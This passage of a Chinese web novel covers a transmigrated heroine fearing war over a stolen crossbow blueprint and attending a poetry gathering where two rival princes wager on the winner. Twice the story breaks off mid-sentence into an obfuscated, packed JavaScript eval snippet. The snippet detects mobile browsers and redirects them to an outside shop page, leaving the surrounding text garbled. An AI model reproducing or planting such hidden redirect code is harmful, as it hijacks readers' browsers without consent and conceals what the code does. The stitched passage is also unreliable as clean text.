“想毁了你,不一定非得要了你的性命。”萧云景敛眸,不知想起了什么,笑得有些冷冽,“后宅里的阴私手段,一旦事发,根本用不着善后。不论是不是你的错,你都再也翻不了身了。” “什么…” 是啊,她为什么觉得这个人一定是来杀自己的,杀了她,她的好姐姐还得费心处理后续的事,可若是趁她夜半三更,沉睡不醒之际,毁了她的清白…到时候,生米煮成了熟饭,故事还不是她想怎么编就怎么编。 这样的事,连林国公都不会深究,只会觉得她这个二女儿败坏门风,不如死了干净… 林若妤只觉得连头皮都开始发麻,她攥紧了被角,哑声问道,“你们今日在书房有收获吗?” “所有的暗格我们都翻遍了,没有弓□□。”萧云景声音淡淡,在昏暗的房间里显得格外平静,却也透着一丝不易察觉的凝重,“等过几日去刘瑸的府上若是再找不到,只怕这张图纸,已经不在京城了。” “如果这张弩箭图真的被送去了梁国…”林若妤说着只觉得心口重重一沉,指尖下意识攥紧了被褥,她轻轻闭上眼,不敢再往下想。 原书里对这一段的描写,只有冷冰冰的十二个字。 边境告急,接连失守,生灵涂炭,民不聊生。 在一本甜宠文里,这十二字不过是推进主角团进入下一个阶段的背景板,是推动主角相遇、升级、打脸的铺垫,是翻过就忘的一行文字。 她已经不知道自己此刻究竟是为了自己劫后余生而后怕,还是想到那副场景而心惊。 如今亲身站在这风口浪尖,她才明白,那十二个字背后,是一座座被攻破的城池,是一片片焦土废墟,是无数家庭家破人亡,是遍野饿殍与无人收殓的尸骨。 书本上一笔带过的惨剧,落到真实的人身上,就是灭顶之灾。 她浑身微微发颤,眼前又闪过地上那滩暗稠得吓人的痕迹,一股寒意从脚底直窜头顶。 初来这里时的侥幸、好奇、仗着知晓剧情的无畏,甚至还有几分置身事外的轻松,在这一刻,被那滩她连直视都不敢的鲜血,彻底冲刷得干干净净。 这不是戏,不是故事,是活生生的人命。 边境的百姓不会知道什么是剧情,什么是主线,他们只知道城破家亡,只知道饥寒交迫,只知道在刀剑下挣扎求生。他们没有名字,没有光环,甚至连一声哀嚎都留不下,就湮没在乱世的尘埃里。 就像是…如果不是萧云景在这里的,今夜的自己。 一股从未有过的坚定,猛地撞进心底,压过了恐惧,压过了慌乱,压过了所有的怯懦。她得活着,她得苟下去,可她也无论如何一定要帮萧云景拦下这张图纸。 一定要。 那些素未谋面的边民、士卒、老弱妇孺,他们想活下去的心愿,和她是一样的。 他们甚至连挣扎的机会都没有,而她,至少还能尽力一搏。 15. 第 15 章 很快,便到了刘尚书府举办诗会的日子。 天刚蒙蒙亮,白露便捧着一整套时新的珠花钗环进来,想要给林若妤仔细梳妆打扮。 “不必太过隆重,梳简单的发髻就行。”林若妤拦下了一大早就准备给她精心打扮的白露,“你先前去马房问过了吗?今日府里备下了几辆马车?” “回姑娘,是两辆。”白露手上一顿,眼底不自觉地露出几分佩服。 按说同府的姑娘出行,向来是只备一辆马车的。偏偏今日天还没亮,自家姑娘就特意把她叫过去,反复叮嘱去马房确认车马安排,如今果然如她所料,备下了两辆。 这般心思缜密,实在不像从前那个浑浑噩噩的二姑娘。 林若妤微微颔首,算是应下,又伸手按住了还想继续忙活的白露,神色骤然郑重了几分,目光沉沉地望着她,“白露,如今在这府里,我能真心托付、全然相信的人,只有你一个。今日去尚书府,不论遇上什么事,你都一定要稳住心神,千万不能惊慌失措。” 白露方才还有些欣慰,这话一落,心头猛地一沉,只觉晴天霹雳一般。 只是参加个诗会而已,赏花饮酒,吟诗作对也会出事吗? “姑娘…”她连声音都轻了几分,下意识攥紧了手中的朱钗。 “白露…”见她似乎有些害怕,林若妤心头微软,伸手轻轻握住了她微凉的指尖,“我如今身边可信的人只有你一个,旁人…终究是靠不住的,往后很多事,我们怕是都只能靠自己。” 她心里清楚,无论是那位看似温和、实则智计卓绝的虞秋月,还是那位身份神秘、来去无踪的萧云景,他们都有太多自己的事要忙,有太多大事要处理,更有着各自的盘算与筹谋。 偶尔伸手拉她一把,是算她走运,若是顾不上她… 那也是理所当然,无可厚非,半点怨不得人。 这侯府深宅,从来都不是什么安稳之地。她不能把所有希望都寄托在别人身上,唯有自己步步小心,逐步逐步培养出自己的力量,才能勉强站稳脚跟。 “我问你。”思及此处,林若妤正色,“如今国公府的账目都是我姐姐在管,我醒来后一直忘了问,我可有什么私产?比如我娘的嫁妆?还是我自己偷偷置办的什么田产铺子的?” “有的,姑娘。”白露不明白为什么姑娘会突然问起这个,但最近她也隐约明白,眼前的姑娘,已经不是从前的姑娘了。 但是她觉得挺好的。 一个会谋算,会装弱,会关心自己身体和产业的姑娘,比从前那个只会被大姑娘气哭后发脾气,真的病恹恹的,除了二殿下眼里什么也没有的姑娘,好一些。 虽然她还是每天跟着提心吊胆的,甚至比从前干了更多出格的事,可她就是莫名的觉得安心,觉得…大概只有这样的姑娘,才能在大姑娘手下,活的好一些,久一些。 白露敛神,回道,“夫人的产业都在王嬷嬷手上打理,从前姑娘顾不上管这些,王嬷嬷又整日里哭,说是自己的孙儿需要照顾,您便让她出府别住了。” 林若妤不解,“带着我娘的产业,出府别住?” “是的,姑娘。”白露点头,“每年王嬷嬷都会进献两千两白银的收益。” “哦。”林若妤心如止水,“明日让她进府一趟,带着账册。” “是,姑娘。”白露见她不高兴,抿了抿唇,不敢偷笑,只垂眸帮她挽发髻。 林若妤到底不想让姐姐碰上她带的人,等收拾妥当,立刻就带着三人上了备好的马车,一路催着赶紧走。 等到了尚书府门口,她握了握白露的手,又叮嘱了一遍,“记得我跟你说的话吗?” “奴婢一定稳得住,姑娘放心。”白露只当看不见另外两个人,郑重应诺。 “好白露,等明儿钱要回来了,姑娘我给你涨月俸。” 白露这会儿真真切切地露出了一个笑,“多谢姑娘。” 虞秋月跟她们一起在马车里,只觉得这位二姑娘真是赤子之心,率性可爱,而马车外跟车夫坐在一起的萧云景却没那么好耐心了,他敲了敲车门,示意可以下车了。 林若妤深吸一口气,“走吧,赴宴!” 尚书府的庭院不算格外气派,只是寻常官邸的清雅格局,青瓦白墙,几株老槐遮着荫,廊下摆着素净的盆花,看着规整却不张扬。 前庭已按诗会规制布好席位,正中设着两张主位,锦垫考究,分明是为太子与二皇子所留。 两侧侧又各设了几个席位,铺着素色锦缎,案几上陈设着青瓷茶盏、点心小食、素色笺纸与松烟墨锭,一派雅致庄重,正是林若妤她们这些备下彩头的贵女、公子之位。 今日诗会请来的多是京中世家闺秀与青年才俊,女眷们多在廊下、花荫处立着,轻摇团扇,低声说笑。 青年公子则聚在阶前,偶尔论几句诗文,举止都带着分寸。 众人虽闲谈不断,却都不敢太过喧哗,时不时有人下意识望向府门方向,大约是想着今日太子殿下亲临,可千万不能失了礼数。 林若妤到早了,一个她认识的也没来,不过话说回来,其实她也没认识几个人…正端着茶杯四处乱瞄,却对上了对面席位一双沉郁的眼睛。 她有些挪不开眼了。 对面坐着的是男宾席位,也是如她一般添了彩头躲懒的,他坐姿挺拔如松,肩宽腰窄,一身利落装束更衬得身形俊朗笔挺。 举手投足皆是利落气度,浑身透着一股硬朗、沉稳的阳刚之气,英气逼人。五官轮廓分明,鼻梁高挺,眉目间淡淡的愁绪更是将这股英朗之气发挥到了极致,不笑时自带几分凛然气场。 似乎是她愣神的久了些,他发现了她的目光,迟疑了片刻便起身走了过来。 “林二姑娘,有礼了。”他弯腰作揖。 “咳咳咳…”林若妤一慌,便又低低咳嗽了两声,怎么办,她认不认识这个人? “陆羽小将军,有礼了。”虞秋月递了一杯水过去,轻拍她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487571|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的后背,笑着对面前的男子行礼道,“我们姑娘大病初愈,身子还弱,还请见谅。” “林二姑娘千万保重才是。”他拧眉,想起来什么似的从怀里掏了一个小瓶子递了过去,“这是陆某家传的人参丸,补气养身是最好不过的。” “怎么好收小将军的礼。”林若妤也起身还礼,“方才是瞧着小将军似有愁绪,一时多思,走神了,还请将军见谅。” “二姑娘真是体察入微,是在下唐突了,不曾注意姑娘已随身带着府医。”陆羽轻笑着收回了瓶子,“春来天气多变,二姑娘若是实在身体不适,这样的场合还是告假为上。” 啊?林若妤被他说愣了,怎么,还能请假的吗?没有人告诉她啊! “多谢陆小将军提醒,若妤记下了。” “咦,陆小将军今日怎么也得空拨冗来诗会了?”沈晴芳隔得老远就见两人这个不尴不尬地站着,走近打趣道,“真是难得,今日的诗会真是英才汇聚啊。” “沈姑娘。”陆羽作揖,似是有些无奈,“家里闷得久了,母亲大人叮嘱了让出来走动走动。” 沈晴芳闻言忍俊不禁,“可惜了今日的宴会不曾邀请各位夫人,不然陆夫人亲自过来,想必更有收获些。” 陆羽无奈一笑,拱手告辞,“不打扰二位姑娘小叙了。” 等三人各自落座,林若妤这才嗔了她一眼,“欺负老实人,真有本事。” “你就知道他是老实人了?”沈晴芳笑得戏谑,“要不是我,你们两现在只怕是还在那姑娘来,将军去的呢。怎么,不惦记二殿下,看上陆小将军了?” “我只是见他似有愁绪,好奇而已。”林若妤抿了口茶,不准备继续这个话题,“那日在府上,多谢你了。” “咱们俩还说这个。”沈晴芳摆摆手,“你且坐着吧,今日的诗会可有好戏看了。” 太子与二殿下难得同席,连从不参宴的陆小将军也来了,真是盛况。 等刘府的庶女刘如慧入席的时候,众人都安静了一瞬,随即默契般的说笑的说笑,赏花的赏花,只当没看见她。 林若妤与沈晴芳对视了一眼,皆是心照不宣地笑了一笑。 这个刘如慧,也太招摇了。 林方雅也顺着众人的目光看了过去,笑意渐冷。 只见得刘如慧今日身上穿的并非府中规制的绫罗,反是色泽艳俗的软缎,领口裁得略低,腰身又收得过分贴身,裙摆短了几分,走动时难免轻佻失仪。 身为庶女,鬓边并未按规矩插戴素净玉簪、金钗镶珠,反倒别了几支样式张扬的红宝石钗环,追着水晶流苏,耳饰竟是不知从哪儿得来的异色珍珠,颈间还硬系了条不合身份的赤金璎珞。 诗社本是雅集,更兼今日人多眼杂,是以在坐的多是清雅、庄重的打扮,她这一出场,竟是满堂的贵女也没有能一个在打扮上盖过了她的。 这般失了分寸、不合体统,真当自己被太子夸了一句,便能飞上枝头变凤凰了? 16. 第 16 章 尚书府设宴,即便是太子命令,只是诗社小聚,不必劳动尚书大人,此刻,刘尚书大人还是候在了门口,圆圆的一张脸上堆满了笑,整个人看上去谦良温恭。 随着内侍一声唱和,太子到了。 东宫今日乘的是青帷龙纹车舆,两侧禁军肃立,仪仗规整,制式尊荣,车停稳后,车帘被内侍轻轻掀开,萧云宸不急不缓,从容迈步走下车辇。 他一身月白镶银边的锦袍,料子细软温润,腰间系着一枚素玉腰带,没有繁复的金线刺绣,也没有夺目的珠宝配饰,简简单单,干净又清雅。 长发束起,只簪了一支温润白玉簪,眉目清和,身形挺拔,刘尚书上前行礼,他也只是淡淡颔首回应。 没等萧云宸让他免礼,就听得长街尽头马蹄轰鸣,声势震天,硬生生盖过门前所有人声。 那是一匹玄黑描金的御制大辇,远比太子车驾要华贵张扬,随行护卫个个铁甲寒刃,气势凛冽,列队行走杀气十足。 引路太监扯着嗓子高喊,“二皇子殿下到!” 一声落下,方才还在行礼的刘尚书不等太子吩咐,立马调转方向,向着二皇子车驾躬身行礼,腰弯得极低。 二皇子掀帘下车,墨色锦袍加身,眉眼桀骜,浑身带着盛气,摆明了就是刻意摆排场、抢风头,要当众压太子一头。 萧云峥笑眯眯地缓步走上台阶,故意停在太子身前半步,语气带着几分若有若无的挑衅,“皇兄倒是来得早。” 周遭瞬间安静,萧云宸却看不出不悦,他淡淡抬眼,目光平静落在二皇子身上,笑意浅浅,“不过是按时赴宴。倒是二弟,出行这般大张旗鼓,阵仗倒是气派十足。” 萧云峥唇角勾起一抹冷笑,故意扫过一旁躬身讨好的刘尚书,话里带刺,“本宫身份不同,行事自然要有规制。不像皇兄,素来简朴,倒显得太过寡淡,撑不起储君体面。” 太子指尖轻垂,语气平缓,“体面从不在车马仪仗,不在排场高低。身居上位,重在心胸德行,而非靠着浮华声势压人。二弟既然喜欢这样铺张,随性便好。” 萧云峥脸色微沉,本想靠着盛大仪仗当众碾压太子、逼得太子落于下风,没想到对方压根不吃这一套。自己费尽心思摆出来的排场、刻意造势的压迫,在他的口中,倒成了不过是不值一提的浮华表象。 他往前又逼近半步,目光锐利,“皇兄还真是心宽,就不怕久而久之,世人分不清谁更有能耐,谁更配站在高处?” 萧云宸淡淡一笑,神色从容自若,眼底无半分波澜,“我坐我的储君之位,你享你的华贵排场,各行其道,互不相碍。旁人怎么看,虚名浮利,我素来不上心。” 萧云峥看着他这副万事不萦于怀的淡然模样,心里憋着一股火气,偏偏发作不得。 明明排面赢了,气势抢了,可在气场对峙上,反倒落了下风。 刘尚书连忙上前打圆场,“二位殿下皆是天家贵人,快快入府落座,宴席已备好,切莫在门外久站。” 萧云峥冷冷瞥了太子一眼,冷哼一声,甩袖先行迈步入府,傲气不减。 太子落后半步,步履从容,神色依旧清淡平和,慢悠悠跟在后方。 刘尚书似乎没瞧见两人的不对付,依旧笑眯眯地在前方引路。 等几人都落了座,众人都见礼之后,一个一身红色软缎的女子上前又盈盈施了一礼,“臣女见过二位殿下,请二位殿下再受臣女大礼。” “你就是刘尚书家那个极有才气的女儿?果然是仪表不凡。”萧云峥顿了顿,看向首座之上的太子,“难怪,连皇兄这样眼高于顶的,也对你一见倾心,专门为你办了这一场诗社。” “二皇子殿下过誉了。”刘如慧含羞带嗔地也看向太子,却不曾想,座上的那位连个眼神都未曾分给她。 “二弟这是哪儿的话,那日孤分明是听了沈姑娘的提议才办了这个诗会。”太子笑的温和,“都入座吧,今日诗社是沈姑娘做社主,孤不过是过来给你们评个魁首,还是不要喧宾夺主了。” 林若妤看向身边的沈晴芳,只见她眼波轻敛,腮边飞上一抹绯红,素手轻拢衣袖,低头应道,“是,多谢殿下。” 林若妤拧眉,这姑娘对太子的态度,不太对啊… 沈晴芳扬声道,“春来百花盛开,今日又逢太子殿下尊驾在此,便取‘牡丹’为题,半个时辰为限,还请诸位各抒灵思,共赋佳篇。” “是。”众人齐齐应诺。 “光定魁首有什么意思。”萧云峥端起酒杯,冲太子遥敬,“不如皇兄与我另加一个赌局,就赌最后谁会是魁首,可好?” “皇弟想赌什么?”太子笑着端起酒杯。 “听闻皇兄手中有一套《山河经略》的孤本,父皇很喜欢,我若是赢了,就请皇兄割爱,如何?” “皇弟想要孤本不难,只是总要有配得上的东西,才能成了赌局,若是两者相差太多,那岂不叫人笑话你我二人太过儿戏。” “皇兄放心,弟弟怎么好白要你的东西。”萧云峥拿起手边的黑金折扇,慢条斯理地轻摇,“听说前段日子府上一直在求药,我手中刚好有一珠千年灵芝,不知在皇兄的眼中,二者可还能相较一二?” “若是皇弟你执意如此,孤也没有意见。”太子抿了口酒,笑着问道,“皇弟想压谁获魁首?” “自然是压刘三姑娘,弟弟若是侥幸赢了,那也是皇兄您的眼光好,就是不知皇兄可愿割爱了。”萧云峥收起手上的折扇,笑的带这些挑衅。 两人都知道,这话他没说完。 若是赢了,是萧云宸的眼光好,若是输了,便是太子殿下识人不清,还要坑了弟弟一株千年灵芝了。 可于萧云峥而言,输了他是个相信哥哥的好弟弟,赢了他是惦念父皇的好儿子,两头占好,似乎怎么都不亏。 “好。”萧云宸似乎并不在意他的这些小心思,似乎是随手一点,“我就压…林二姑娘吧。” “咳咳咳…”众人齐刷刷地目光都聚集了过来,林若妤一口气没上来,咳嗽了起来,“太子殿下有所不知,小女今日…咳咳咳…是添了彩头的,不在作诗之列。” “无妨,放手一试便是。”萧云宸笑着放下酒杯,落在铺了锦缎的桌案上,没有发出丝毫的声音,他有意无意地瞥了一眼她身后跨着药 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487572|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱暗戳戳瞪了自己一眼的人,笑意更深。 这株千年灵芝到底想不想要,全看他亲爱的三弟了,总不能又要拿好处,又不干活吧? “……?”林若妤不理解。 不是,这位太子到底有没有参加过诗会啊?花钱消灾的规矩没人跟他说过吗?在场这么多人,总不能因为女主在她身后站着,他就光点她吧? 她不会作诗啊! 萧云峥握住扇柄,看着林若妤的方向,愣了一愣,随即朗声笑道,“好,皇兄果然好眼光,一言为定。” 他这个皇兄,还真是不好坑。 专门挑了个草包美人,输了之后,向父皇进献孤本的心意里也要算上他一份,真是心机深重,半点亏都不肯吃。 四面八方传来的或好奇,或妒恨,或好奇的目光,直戳着林若妤头皮发麻。 虞秋月挡开白露的手,轻抚她的后背,给身后的萧云景递话道,“姑娘怎么咳得这么厉害,于大夫,早上不是还好好的吗?” 大夫装扮的萧云景,垂眸拱手告罪,“想来是在下未曾料及今日姑娘的心绪波动,如今只怕是要借尚书府的小厨房一用,在下即刻为姑娘再煎一剂药。” “去吧。”太子摆了摆手,话音一落,便有侍候在廊下的丫鬟走上前去引路。 “你也一起去吧。”林若妤看了一眼虞秋月,知道此刻已经顾不上作不作诗的事了,还是为二人争取探查的条件为上。 “是。”虞秋月低头应声,“奴婢去去就回,姑娘向来是奴婢伺候笔墨的,奴婢定不误了姑娘大事。” 林若妤闻言愣了一愣,随即反应过来,一下子心里就有底了,笑着点了点头。 是啊,她有什么好怕的,女主站在她身后哎拜托!那个什么刘三姑娘赵四姑娘的,还能盖得过女主的风头不成? 她稳了。 “妹妹真是好本事啊。”还没等林若妤笑意收尽,就听到自家姐姐林若娇轻笑着打趣道,“一边是二皇子殿下的青梅竹马之情,一边又引得太子殿下青眼,听闻今日就连陆小将军也对妹妹格外关心。” 林若娇轻轻摇头,“不是做姐姐的说你,二皇子殿下与太子殿下也罢了,谁不知陆小将军是公主殿下的心上人,妹妹也要懂得避嫌才是啊。” “多谢姐姐提醒,诸位贵人不过是看我可怜罢了。”林若妤轻咳,“陆小将军与我说话的时候,晴芳姐姐也在场,哪里就扯得上避嫌了。” 林若娇定定看着她低眉垂眼的样子,笑的意味深长,“你便就这样什么事都扯着沈大姑娘吧,也不怕什么时候给她招来祸事。” 林若妤瞬间抬眸,轻柔的声音透着几分怒意,“姐姐说笑了。沈相的嫡长女,若真有什么祸事,只怕最后也只能是为她招惹祸事的人倒霉。” 兵戎相见,下下策,“姐妹情深”这四个字,连演都演不了了。 那又如何呢。 总不能你一边要我的性命,一边拿我最好的朋友威胁我,我还要向你求和吧。 当别人觉得你软弱时,你最好别真的软弱。 否则,便只能落得个被连消带打,万劫不复的境地。